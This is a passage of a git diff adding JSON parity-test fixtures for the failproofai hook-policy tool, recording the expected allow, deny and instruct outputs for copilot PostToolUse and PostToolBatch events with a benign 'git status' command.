@@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolBatch/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolBatch/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..1aff26cb --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolBatch/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..6cf578f0 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d5231504 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..86d547eb --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..0d3033cd --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..e62c0ff0 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..26b5d9e7 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..016b88bf --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..2d5c8407 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ee8621a3 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..842b9ffb --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..b6dba10a --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..68cde7d5 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..aceb7c46 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..6bef6ee6 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..7f696acd --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..1474c23b --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..0d74235c --- /dev/null +++ 